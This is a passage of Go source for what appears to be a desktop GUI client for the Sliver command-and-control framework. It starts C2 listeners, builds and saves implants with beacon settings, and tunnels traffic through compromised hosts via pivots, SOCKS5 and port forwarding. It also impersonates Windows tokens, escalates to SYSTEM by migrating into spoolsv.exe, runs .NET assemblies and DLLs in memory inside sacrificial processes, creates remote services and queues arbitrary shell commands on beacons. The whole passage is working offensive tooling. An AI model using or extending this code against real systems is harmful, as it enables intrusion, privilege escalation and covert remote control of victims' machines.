_, err = client.RPC.StartMTLSListener(a.ctx, &clientpb.MTLSListenerReq{Host: req.Host, Port: req.Port})
return err
}
type StartHTTPReq struct {
Host string `json:"host"`
Port uint32 `json:"port"`
Secure bool `json:"secure"`
}
func (a *App) StartHTTPListener(req StartHTTPReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
if req.Secure {
_, err = client.RPC.StartHTTPSListener(a.ctx, &clientpb.HTTPListenerReq{Host: req.Host, Port: req.Port})
} else {
_, err = client.RPC.StartHTTPListener(a.ctx, &clientpb.HTTPListenerReq{Host: req.Host, Port: req.Port})
}
return err
}
type StartDNSReq struct {
Domains []string `json:"domains"`
}
func (a *App) StartDNSListener(req StartDNSReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartDNSListener(a.ctx, &clientpb.DNSListenerReq{Domains: req.Domains})
return err
}
type StartWGReq struct {
Port uint32 `json:"port"`
NPort uint32 `json:"nPort"`
KeyPort uint32 `json:"keyPort"`
}
func (a *App) StartWGListener(req StartWGReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartWGListener(a.ctx, &clientpb.WGListenerReq{Port: req.Port, NPort: req.NPort, KeyPort: req.KeyPort})
return err
}
// ─── C2 Profiles ─────────────────────────────────────────────────────────────
type C2ProfileView struct {
Name string `json:"name"`
}
func (a *App) ListC2Profiles() ([]C2ProfileView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
profiles, err := client.ListHTTPC2Profiles(a.ctx)
if err != nil {
return nil, err
}
out := make([]C2ProfileView, 0, len(profiles))
for _, p := range profiles {
out = append(out, C2ProfileView{Name: p.Name})
}
return out, nil
}
// ListenerC2Options returns ready-to-use C2 URLs built from the active listeners,
// so the Generate form can offer a dropdown that auto-fills a valid C2 URL. The
// host is taken from the teamserver address the operator connected to.
func (a *App) ListenerC2Options() ([]string, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetJobs(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
host := client.Config.LHost
out := []string{}
for _, j := range resp.Active {
// Job.Protocol is the transport ("tcp"/"udp"); the C2 scheme is in
// Job.Name ("mtls"/"http"/"https"/"dns"/"wg"). Derive the scheme from the
// name and skip non-C2 jobs (e.g. the operator/gRPC listener) so we never
// point an implant at the teamserver's operator port.
name := strings.ToLower(j.Name)
var scheme string
switch {
case strings.Contains(name, "mtls"):
scheme = "mtls"
case strings.Contains(name, "https"):
scheme = "https"
case strings.Contains(name, "http"):
scheme = "http"
case strings.Contains(name, "dns"):
scheme = "dns"
case strings.Contains(name, "wg"), strings.Contains(name, "wireguard"):
scheme = "wg"
default:
continue // not a C2 listener we can build a URL for
}
out = append(out, fmt.Sprintf("%s://%s:%d", scheme, host, j.Port))
}
return out, nil
}
// ─── Implant Generation ───────────────────────────────────────────────────────
type GenerateRequest struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
C2URL string `json:"c2Url"`
Debug bool `json:"debug"`
Beacon bool `json:"beacon"` // generate in beacon mode instead of session mode
Interval int64 `json:"interval"` // beacon check-in interval, seconds
Jitter int64 `json:"jitter"` // beacon jitter, seconds
}
type GenerateResult struct {
File string `json:"file"`
Error string `json:"error,omitempty"`
}
// firstHTTPC2ProfileName returns the name of the first HTTP C2 profile the
// teamserver knows about, or "" if there are none. Used to pick a valid
// HTTPC2ConfigName when generating an HTTP(S) implant.
func (a *App) firstHTTPC2ProfileName() (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
profiles, err := client.ListHTTPC2Profiles(a.ctx)
if err != nil {
return "", err
}
// Prefer one literally named "default" if present, else the first.
for _, p := range profiles {
if strings.EqualFold(p.Name, "default") {
return p.Name, nil
}
}
if len(profiles) > 0 {
return profiles[0].Name, nil
}
return "", nil
}
func (a *App) GenerateImplant(req GenerateRequest) GenerateResult {
client, err := a.requireClient()
if err != nil {
return GenerateResult{Error: err.Error()}
}
if strings.TrimSpace(req.C2URL) == "" {
return GenerateResult{Error: "a C2 URL is required (select a listener or enter one)"}
}
cfg := a.buildImplantConfig(req)
// Build names must be unique in the teamserver DB (UNIQUE constraint on
// implant_builds.name). If the operator left the name blank, synthesise a
// unique one so repeated generates never collide.
autoName := strings.TrimSpace(req.Name) == ""
name := strings.TrimSpace(req.Name)
if autoName {
name = fmt.Sprintf("%s-%s-%s", req.GOOS, req.GOARCH, randSuffix())
}
genReq := &clientpb.GenerateReq{
Name: name,
Config: cfg,
}
// Generate, retrying with a fresh random name on a UNIQUE-constraint
// collision (the teamserver keys implant_builds by name). Only auto-retry
// when the operator didn't supply their own name.
var resp *clientpb.Generate
for attempt := 0; attempt < 5; attempt++ {
resp, err = client.GenerateImplant(a.ctx, genReq)
if err == nil {
break
}
if !strings.Contains(err.Error(), "UNIQUE constraint") {
return GenerateResult{Error: err.Error()}
}
if !autoName {
return GenerateResult{Error: fmt.Sprintf("a build named %q already exists — delete it in the Builds panel or choose another name", name)}
}
genReq.Name = fmt.Sprintf("%s-%s-%s", req.GOOS, req.GOARCH, randSuffix())
}
if err != nil {
return GenerateResult{Error: "build name keeps colliding after several tries — the teamserver may derive the build name from the config; delete old builds in the Builds panel and retry: " + err.Error()}
}
if resp.File == nil {
return GenerateResult{Error: "server returned an empty build"}
}
// The compiled implant bytes come back in resp.File.Data — save them to disk
// via a native dialog, otherwise the build only lives on the teamserver.
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
DefaultFilename: resp.File.Name,
Title: "Save generated implant",
})
if err != nil || savePath == "" {
return GenerateResult{Error: "build succeeded but save was cancelled — build \"" + resp.File.Name + "\" is stored on the teamserver (regenerate to download again)"}
}
if err := os.WriteFile(savePath, resp.File.Data, 0755); err != nil {
return GenerateResult{Error: err.Error()}
}
return GenerateResult{File: savePath}
}
// randSuffix returns 8 random hex chars, used to make auto-generated implant
// names unique so repeated blank-name generates never collide in the DB.
func randSuffix() string {
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
// crypto/rand should never fail; fall back to a nanosecond timestamp.
return fmt.Sprintf("%d", time.Now().UnixNano())
}
return hex.EncodeToString(b)
}
// schemeOf returns the URL scheme (the part before "://"), e.g. "mtls" for
// "mtls://host:port". Returns "" if there is no scheme separator.
func schemeOf(url string) string {
if i := strings.Index(url, "://"); i >= 0 {
return url[:i]
}
return ""
}
func formatFromString(s string) clientpb.OutputFormat {
switch s {
case "shared":
return clientpb.OutputFormat_SHARED_LIB
case "service":
return clientpb.OutputFormat_SERVICE
case "shellcode":
return clientpb.OutputFormat_SHELLCODE
default:
return clientpb.OutputFormat_EXECUTABLE
}
}
// ─── Pivot Listeners (per-session) ─────────────────────────────────────────────
type PivotView struct {
ID string `json:"id"`
Type string `json:"type"`
BindAddress string `json:"bindAddress"`
}
func (a *App) ListPivots(sessionID string) ([]PivotView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.PivotSessionListeners(a.ctx, &sliverpb.PivotListenersReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]PivotView, 0, len(resp.Listeners))
for _, l := range resp.Listeners {
out = append(out, PivotView{
ID: fmt.Sprintf("%d", l.ID),
Type: l.Type.String(),
BindAddress: l.BindAddress,
})
}
return out, nil
}
// StartPivotListener starts a TCP or named-pipe pivot on the implant.
// pivotType: "tcp" or "pipe". bindAddress e.g. "0.0.0.0:9898" (tcp) or a pipe name.
func (a *App) StartPivotListener(sessionID, pivotType, bindAddress string) error {
client, err := a.requireClient()
if err != nil {
return err
}
pt := sliverpb.PivotType_TCP
if strings.Contains(strings.ToLower(pivotType), "pipe") {
pt = sliverpb.PivotType_NamedPipe
}
_, err = client.RPC.PivotStartListener(a.ctx, &sliverpb.PivotStartListenerReq{
Type: pt,
BindAddress: bindAddress,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) StopPivotListener(sessionID string, pivotID uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.PivotStopListener(a.ctx, &sliverpb.PivotStopListenerReq{
ID: pivotID,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── SOCKS5 Proxy ──────────────────────────────────────────────────────────────
//
// The Sliver implant runs the actual SOCKS5 server; the client side just relays
// raw TCP bytes over a SocksProxy bidi stream. We open one stream per accepted
// local connection with a unique TunnelID, and copy bytes in both directions.
type socksProxyHandle struct {
localPort int
cancel context.CancelFunc
listener net.Listener
}
func (a *App) StartSocksProxy(sessionID string, localPort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
a.advMu.Lock()
if _, ok := a.socks[sessionID]; ok {
a.advMu.Unlock()
return fmt.Errorf("a SOCKS5 proxy is already running for this session")
}
a.advMu.Unlock()
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen on 127.0.0.1:%d: %w", localPort, err)
}
ctx, cancel := context.WithCancel(a.ctx)
a.advMu.Lock()
a.socks[sessionID] = &socksProxyHandle{localPort: localPort, cancel: cancel, listener: ln}
a.advMu.Unlock()
go a.runSocks(ctx, client, sessionID, ln)
return nil
}
func (a *App) StopSocksProxy(sessionID string) error {
a.advMu.Lock()
h := a.socks[sessionID]
delete(a.socks, sessionID)
a.advMu.Unlock()
if h == nil {
return fmt.Errorf("no SOCKS5 proxy running for this session")
}
h.listener.Close()
h.cancel()
return nil
}
// SocksProxyStatus returns the local port for an active proxy, or 0 if none.
func (a *App) SocksProxyStatus(sessionID string) int {
a.advMu.Lock()
defer a.advMu.Unlock()
if h := a.socks[sessionID]; h != nil {
return h.localPort
}
return 0
}
func (a *App) runSocks(ctx context.Context, client *sliverclient.Client, sessionID string, ln net.Listener) {
go func() { <-ctx.Done(); ln.Close() }()
for {
conn, err := ln.Accept()
if err != nil {
return
}
go a.socksHandleConn(ctx, client, sessionID, conn)
}
}
func (a *App) socksHandleConn(ctx context.Context, client *sliverclient.Client, sessionID string, conn net.Conn) {
defer conn.Close()
// Register a socks tunnel with the teamserver first so the server can route
// this stream's frames to the implant's SOCKS server by TunnelID.
sk, err := client.RPC.CreateSocks(ctx, &sliverpb.Socks{SessionID: sessionID})
if err != nil {
return
}
tunnelID := sk.TunnelID
stream, err := client.RPC.SocksProxy(ctx)
if err != nil {
return
}
defer client.RPC.CloseSocks(ctx, &sliverpb.Socks{TunnelID: tunnelID})
var seq uint64
// stream -> local conn
go func() {
for {
data, err := stream.Recv()
if err != nil {
conn.Close()
return
}
if len(data.Data) > 0 {
if _, werr := conn.Write(data.Data); werr != nil {
return
}
}
if data.CloseConn {
conn.Close()
return
}
}
}()
// local conn -> stream
buf := make([]byte, 4096)
for {
n, rerr := conn.Read(buf)
if n > 0 {
if serr := stream.Send(&sliverpb.SocksData{
TunnelID: tunnelID,
Data: append([]byte(nil), buf[:n]...),
Sequence: seq,
Request: &commonpb.Request{SessionID: sessionID},
}); serr != nil {
break
}
seq++
}
if rerr != nil {
break
}
}
stream.Send(&sliverpb.SocksData{
TunnelID: tunnelID,
CloseConn: true,
Sequence: seq,
Request: &commonpb.Request{SessionID: sessionID},
})
stream.CloseSend()
}
// ─── Port Forwarding ───────────────────────────────────────────────────────────
//
// Same raw-relay pattern as SOCKS5, but over the generic Tunnel API. Each local
// connection creates a tunnel and a TunnelData bidi stream, and we copy bytes.
//
// NOTE: the remote target is sent as the first TunnelData frame so the implant
// knows where to dial. Verify this handshake against your sliver v1.7.3 implant
// on-device — if the implant expects the target elsewhere this is the one spot
// to adjust; the byte-relay loop below is protocol-agnostic.
type portfwdHandle struct {
localPort int
remote string
cancel context.CancelFunc
listener net.Listener
}
type PortForwardView struct {
LocalPort int `json:"localPort"`
Remote string `json:"remote"`
}
func (a *App) AddPortForward(sessionID string, localPort int, remoteHost string, remotePort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
remote := fmt.Sprintf("%s:%d", remoteHost, remotePort)
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen on 127.0.0.1:%d: %w", localPort, err)
}
ctx, cancel := context.WithCancel(a.ctx)
a.advMu.Lock()
a.portfwds[sessionID] = append(a.portfwds[sessionID], &portfwdHandle{
localPort: localPort, remote: remote, cancel: cancel, listener: ln,
})
a.advMu.Unlock()
go a.runPortfwd(ctx, client, sessionID, remote, ln)
return nil
}
func (a *App) RemovePortForward(sessionID string, localPort int) error {
a.advMu.Lock()
defer a.advMu.Unlock()
list := a.portfwds[sessionID]
for i, h := range list {
if h.localPort == localPort {
h.listener.Close()
h.cancel()
a.portfwds[sessionID] = append(list[:i], list[i+1:]...)
return nil
}
}
return fmt.Errorf("no port forward on local port %d", localPort)
}
func (a *App) ListPortForwards(sessionID string) ([]PortForwardView, error) {
a.advMu.Lock()
defer a.advMu.Unlock()
list := a.portfwds[sessionID]
out := make([]PortForwardView, 0, len(list))
for _, h := range list {
out = append(out, PortForwardView{LocalPort: h.localPort, Remote: h.remote})
}
return out, nil
}
func (a *App) runPortfwd(ctx context.Context, client *sliverclient.Client, sessionID, remote string, ln net.Listener) {
go func() { <-ctx.Done(); ln.Close() }()
for {
conn, err := ln.Accept()
if err != nil {
return
}
go a.portfwdHandleConn(ctx, client, sessionID, remote, conn)
}
}
func (a *App) portfwdHandleConn(ctx context.Context, client *sliverclient.Client, sessionID, remote string, conn net.Conn) {
defer conn.Close()
rpcTunnel, err := client.RPC.CreateTunnel(ctx, &sliverpb.Tunnel{SessionID: sessionID})
if err != nil {
return
}
tunnelID := rpcTunnel.GetTunnelID()
stream, err := client.RPC.TunnelData(ctx)
if err != nil {
return
}
var seq uint64
// First frame: tell the implant where to dial (see NOTE above).
stream.Send(&sliverpb.TunnelData{TunnelID: tunnelID, Data: []byte(remote), Sequence: seq})
seq++
// stream -> local conn
go func() {
for {
td, err := stream.Recv()
if err != nil {
conn.Close()
return
}
if len(td.Data) > 0 {
if _, werr := conn.Write(td.Data); werr != nil {
return
}
}
if td.Closed {
conn.Close()
return
}
}
}()
// local conn -> stream
buf := make([]byte, 4096)
for {
n, rerr := conn.Read(buf)
if n > 0 {
if serr := stream.Send(&sliverpb.TunnelData{
TunnelID: tunnelID,
Data: append([]byte(nil), buf[:n]...),
Sequence: seq,
}); serr != nil {
break
}
seq++
}
if rerr != nil {
break
}
}
stream.Send(&sliverpb.TunnelData{TunnelID: tunnelID, Closed: true, Sequence: seq})
stream.CloseSend()
client.RPC.CloseTunnel(ctx, &sliverpb.Tunnel{TunnelID: tunnelID, SessionID: sessionID})
}
// ─── Token / Privilege (Windows) ───────────────────────────────────────────────
func (a *App) CurrentTokenOwner(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.CurrentTokenOwner(a.ctx, &sliverpb.CurrentTokenOwnerReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Output, nil
}
// MakeToken creates a new logon session token from credentials (logon type 9 =
// NEW_CREDENTIALS, the sliver default).
func (a *App) MakeToken(sessionID, username, domain, password string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.MakeToken(a.ctx, &sliverpb.MakeTokenReq{
Username: username,
Domain: domain,
Password: password,
LogonType: 9,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) ImpersonateUser(sessionID, username string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Impersonate(a.ctx, &sliverpb.ImpersonateReq{
Username: username,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RevToSelf(sessionID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RevToSelf(a.ctx, &sliverpb.RevToSelfReq{
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// GetSystem migrates into a SYSTEM-owned process by spawning implant shellcode.
// It needs an implant config, which we pull from a saved implant profile.
func (a *App) GetSystem(sessionID, hostingProcess, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
if err != nil {
return err
}
var cfg *clientpb.ImplantConfig
for _, p := range profiles.Profiles {
if p.Name == profileName {
cfg = p.Config
break
}
}
if cfg == nil {
return fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", profileName)
}
if hostingProcess == "" {
hostingProcess = "spoolsv.exe"
}
_, err = client.RPC.GetSystem(a.ctx, &clientpb.GetSystemReq{
HostingProcess: hostingProcess,
Config: cfg,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Assembly / Shellcode Execution ─────────────────────────────────────────────
type AssemblyResult struct {
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
// ExecuteAssembly runs a .NET assembly in-memory. Opens a native file picker for
// the assembly bytes.
func (a *App) ExecuteAssembly(sessionID, args string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select .NET assembly (.exe)",
Filters: []runtime.FileFilter{{DisplayName: ".NET assembly (*.exe)", Pattern: "*.exe"}},
})
if err != nil || localPath == "" {
return AssemblyResult{Error: "selection cancelled"}
}
data, err := os.ReadFile(localPath)
if err != nil {
return AssemblyResult{Error: err.Error()}
}
resp, err := client.RPC.ExecuteAssembly(a.ctx, &sliverpb.ExecuteAssemblyReq{
Assembly: data,
Arguments: strings.Fields(args),
Process: "notepad.exe",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: string(resp.Output)}
}
// Sideload loads and runs a shared library / DLL in a sacrificial process.
func (a *App) Sideload(sessionID, args, entryPoint string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select DLL / shared library to sideload",
})
if err != nil || localPath == "" {
return AssemblyResult{Error: "selection cancelled"}
}
data, err := os.ReadFile(localPath)
if err != nil {
return AssemblyResult{Error: err.Error()}
}
resp, err := client.RPC.Sideload(a.ctx, &sliverpb.SideloadReq{
Data: data,
Args: strings.Fields(args),
EntryPoint: entryPoint,
ProcessName: "notepad.exe",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: resp.Result}
}
// ─── Service Management (Windows) ───────────────────────────────────────────────
type ServiceView struct {
Name string `json:"name"`
DisplayName string `json:"displayName"`
Status string `json:"status"`
}
// ListServices has no dedicated RPC in v1.7.3, so we fall back to an Execute of
// PowerShell Get-Service (CSV) and parse the output — same pattern as the Env
// and Registry tabs.
func (a *App) ListServices(sessionID string) ([]ServiceView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: "powershell.exe",
Args: []string{"-NoProfile", "-Command", "Get-Service | Select-Object Name,DisplayName,Status | ConvertTo-Csv -NoTypeInformation"},
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := []ServiceView{}
lines := strings.Split(strings.ReplaceAll(string(resp.Stdout), "\r\n", "\n"), "\n")
for i, line := range lines {
line = strings.TrimSpace(line)
if line == "" || i == 0 { // skip CSV header
continue
}
cols := parseCSVLine(line)
if len(cols) < 3 {
continue
}
out = append(out, ServiceView{Name: cols[0], DisplayName: cols[1], Status: cols[2]})
}
return out, nil
}
// parseCSVLine parses a single simple RFC-4180-ish CSV row (double-quoted fields).
func parseCSVLine(line string) []string {
var fields []string
var sb strings.Builder
inQuotes := false
for i := 0; i < len(line); i++ {
c := line[i]
switch {
case c == '"':
if inQuotes && i+1 < len(line) && line[i+1] == '"' {
sb.WriteByte('"')
i++
} else {
inQuotes = !inQuotes
}
case c == ',' && !inQuotes:
fields = append(fields, sb.String())
sb.Reset()
default:
sb.WriteByte(c)
}
}
fields = append(fields, sb.String())
return fields
}
func (a *App) StartService(sessionID, hostname, serviceName, binPath string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartService(a.ctx, &sliverpb.StartServiceReq{
ServiceName: serviceName,
BinPath: binPath,
Hostname: hostname,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) StopService(sessionID, hostname, serviceName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StopService(a.ctx, &sliverpb.StopServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{ServiceName: serviceName, Hostname: hostname},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RemoveService(sessionID, hostname, serviceName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RemoveService(a.ctx, &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{ServiceName: serviceName, Hostname: hostname},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Implant Profiles ───────────────────────────────────────────────────────────
type ProfileView struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
C2URL string `json:"c2Url"`
Debug bool `json:"debug"`
Beacon bool `json:"beacon"`
Interval int64 `json:"interval"`
Jitter int64 `json:"jitter"`
}
func (a *App) ListImplantProfiles() ([]ProfileView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]ProfileView, 0, len(resp.Profiles))
for _, p := range resp.Profiles {
v := ProfileView{Name: p.Name}
if p.Config != nil {
v.GOOS = p.Config.GOOS
v.GOARCH = p.Config.GOARCH
v.Format = p.Config.Format.String()
v.Debug = p.Config.Debug
v.Beacon = p.Config.IsBeacon
v.Interval = p.Config.BeaconInterval / int64(time.Second)
v.Jitter = p.Config.BeaconJitter / int64(time.Second)
if len(p.Config.C2) > 0 {
v.C2URL = p.Config.C2[0].URL
}
}
out = append(out, v)
}
return out, nil
}
// SaveImplantProfile persists a new implant profile (reuses the Generate form's
// request shape).
func (a *App) SaveImplantProfile(req GenerateRequest) error {
client, err := a.requireClient()
if err != nil {
return err
}
if strings.TrimSpace(req.Name) == "" {
return fmt.Errorf("profile name is required")
}
if strings.TrimSpace(req.C2URL) == "" {
return fmt.Errorf("a C2 URL is required")
}
cfg := a.buildImplantConfig(req)
_, err = client.RPC.SaveImplantProfile(a.ctx, &clientpb.ImplantProfile{
Name: req.Name,
Config: cfg,
})
return err
}
// buildImplantConfig turns a GenerateRequest into a complete ImplantConfig with
// the correct output format, transport Include* flags derived from the C2 URL
// scheme, a valid HTTP C2 profile name, and beacon settings. Shared by
// GenerateImplant and SaveImplantProfile so profiles and builds stay consistent.
func (a *App) buildImplantConfig(req GenerateRequest) *clientpb.ImplantConfig {
cfg := &clientpb.ImplantConfig{
GOOS: req.GOOS,
GOARCH: req.GOARCH,
Debug: req.Debug,
Format: formatFromString(req.Format),
C2: []*clientpb.ImplantC2{{URL: req.C2URL, Priority: 1}},
ObfuscateSymbols: false,
}
if req.Beacon {
cfg.IsBeacon = true
interval := req.Interval
if interval <= 0 {
interval = 60
}
cfg.BeaconInterval = interval * int64(time.Second)
cfg.BeaconJitter = req.Jitter * int64(time.Second)
}
if hc2, _ := a.firstHTTPC2ProfileName(); hc2 != "" {
cfg.HTTPC2ConfigName = hc2
} else {
cfg.HTTPC2ConfigName = "default"
}
switch strings.ToLower(schemeOf(req.C2URL)) {
case "http", "https":
cfg.IncludeHTTP = true
case "dns":
cfg.IncludeDNS = true
case "wg", "wireguard":
cfg.IncludeWG = true
case "tcp":
cfg.IncludeTCP = true
case "namedpipe":
cfg.IncludeNamePipe = true
default:
cfg.IncludeMTLS = true
}
if req.GOOS != "windows" && cfg.Format == clientpb.OutputFormat_SERVICE {
cfg.Format = clientpb.OutputFormat_EXECUTABLE
}
return cfg
}
func (a *App) DeleteImplantProfile(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.DeleteImplantProfile(a.ctx, &clientpb.DeleteReq{Name: name})
return err
}
// ─── Beacon Task Execution ───────────────────────────────────────────────────
//
// Beacons use a task-queue model: commands are enqueued and the implant picks
// them up on its next check-in. Results come back asynchronously. We poll for
// task completion with a timeout.
type BeaconTaskResult struct {
TaskID string `json:"taskId"`
Status string `json:"status"` // "pending", "completed", "error"
Stdout string `json:"stdout"`
Stderr string `json:"stderr"`
Error string `json:"error,omitempty"`
}
// ExecuteBeaconCommand queues a shell command on a beacon and polls for the result.
func (a *App) ExecuteBeaconCommand(beaconID, command string) BeaconTaskResult {
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
// Determine OS for shell path selection.
beacons, _ := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
var beaconOS string
if beacons != nil {
for _, b := range beacons.Beacons {
if b.ID == beaconID {
beaconOS = strings.ToLower(b.OS)
break
}
}
}
var exePath string
var args []string
if strings.Contains(beaconOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
// For beacon mode, the Execute RPC returns immediately with a task ID in
// resp.Response. We need to poll for the task result.
if resp.Response != nil && resp.Response.TaskID != "" {
taskID := resp.Response.TaskID
return a.pollBeaconTask(beaconID, taskID)
}
// If the response came back directly (shouldn't happen for beacons, but handle it)
return BeaconTaskResult{
Status: "completed",
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
}
}
// pollBeaconTask waits for a beacon task to complete, polling every 2 seconds up to 5 minutes.
func (a *App) pollBeaconTask(beaconID, taskID string) BeaconTaskResult {
if taskID == "" {
return BeaconTaskResult{Status: "pending", TaskID: "", Error: "task queued — will execute on next beacon check-in"}
}
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{TaskID: taskID, Status: "pending", Error: "disconnected while waiting"}
}
// Poll for up to 5 minutes (beacon intervals can be long)
deadline := time.Now().Add(5 * time.Minute)
for time.Now().Before(deadline) {
tasks, err := client.RPC.GetBeaconTasks(a.ctx, &clientpb.Beacon{ID: beaconID})
if err != nil {
return BeaconTaskResult{TaskID: taskID, Status: "pending", Error: fmt.Sprintf("poll error: %v — task still queued", err)}
}
for _, t := range tasks.Tasks {
if t.ID == taskID {
if t.State == "completed" {
// Try to unmarshal the response as an Execute response
stdout, stderr := parseExecuteResponse(t.Response)
return BeaconTaskResult{
TaskID: taskID,
Status: "completed",
Stdout: stdout,
Stderr: stderr,
}
}
if t.State == "failed" || t.State == "canceled" {
return BeaconTaskResult{
TaskID: taskID,
Status: "error",
Error: fmt.Sprintf("task %s", t.State),
}
}
}
}
time.Sleep(2 * time.Second)
}
return BeaconTaskResult{
TaskID: taskID,
Status: "pending",
Error: "task still pending — beacon has not checked in yet. It will execute on the next check-in.",
}
}
// parseExecuteResponse tries to extract stdout/stderr from a serialized Execute
// protobuf response. Falls back to raw string if parsing fails.
func parseExecuteResponse(data []byte) (stdout, stderr string) {
if len(data) == 0 {
return "(no output)", ""
}
// Try protobuf unmarshal using proto.Unmarshal
var execResp sliverpb.Execute
if err := proto.Unmarshal(data, &execResp); err == nil {
return string(execResp.Stdout), string(execResp.Stderr)
}
// Fallback: return raw bytes as string
return string(data), ""
}
// ExecuteBeaconCommandAsync queues a command on a beacon and polls for the result
// with a configurable timeout. This is the primary method the frontend uses.
// It polls every 2s for up to 5 minutes waiting for the beacon to check in.
func (a *App) ExecuteBeaconCommandAsync(beaconID, command string) BeaconTaskResult {
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
beacons, _ := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
var beaconOS string
if beacons != nil {
for _, b := range beacons.Beacons {
if b.ID == beaconID {
beaconOS = strings.ToLower(b.OS)
break
}
}
}
var exePath string
var args []string
if strings.Contains(beaconOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
taskID := ""
if resp.Response != nil {
taskID = resp.Response.TaskID
}
// Return immediately with the task ID. The frontend polls GetBeaconTasks for
// the result so the console never blocks waiting for a beacon check-in.
if taskID != "" {
return BeaconTaskResult{Status: "pending", TaskID: taskID}
}
// No task ID means the response came back directly (rare for beacons).
if resp.Stdout != nil || resp.Stderr != nil {
return BeaconTaskResult{
Status: "completed",
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
}
}
return BeaconTaskResult{Status: "pending", Error: "command queued - waiting for beacon check-in"}
}
// GetBeaconTaskResults retrieves all task results for a beacon.
type BeaconTaskView struct {
ID string `json:"id"`
State string `json:"state"`
Description string `json:"description"`
CreatedAt string `json:"createdAt"`
CompletedAt string `json:"completedAt"`
Response string `json:"response"`
}
func (a *App) GetBeaconTasks(beaconID string) ([]BeaconTaskView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetBeaconTasks(a.ctx, &clientpb.Beacon{ID: beaconID})
if err != nil {
return nil, err
}
